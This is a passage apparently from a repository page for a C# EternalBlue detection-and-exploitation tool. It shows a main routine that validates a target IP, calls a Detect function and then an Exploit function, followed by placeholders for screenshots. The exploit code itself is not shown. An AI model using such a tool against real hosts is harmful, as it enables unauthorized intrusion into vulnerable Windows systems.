    if (IsValidIP(args[1]))
    {
        string target = args[1];

        bool isVulnerable = Detect(target);
        if (isVulnerable && shouldExploit)
        {
            Exploit(target);
        }
    }
    else
    {
        Console.WriteLine("Not a valid IP...");
    }
}
}
}
```

Eternalblue/img /Detect.PNG "Various Imgs"

[Detect.PNG](#)

image.png

[Eternalblue.PNG](#)

image.png

[Exploit.PNG](#)

image.png

[detect1.png](#)

image.png

[exploit1.png](#)

image.png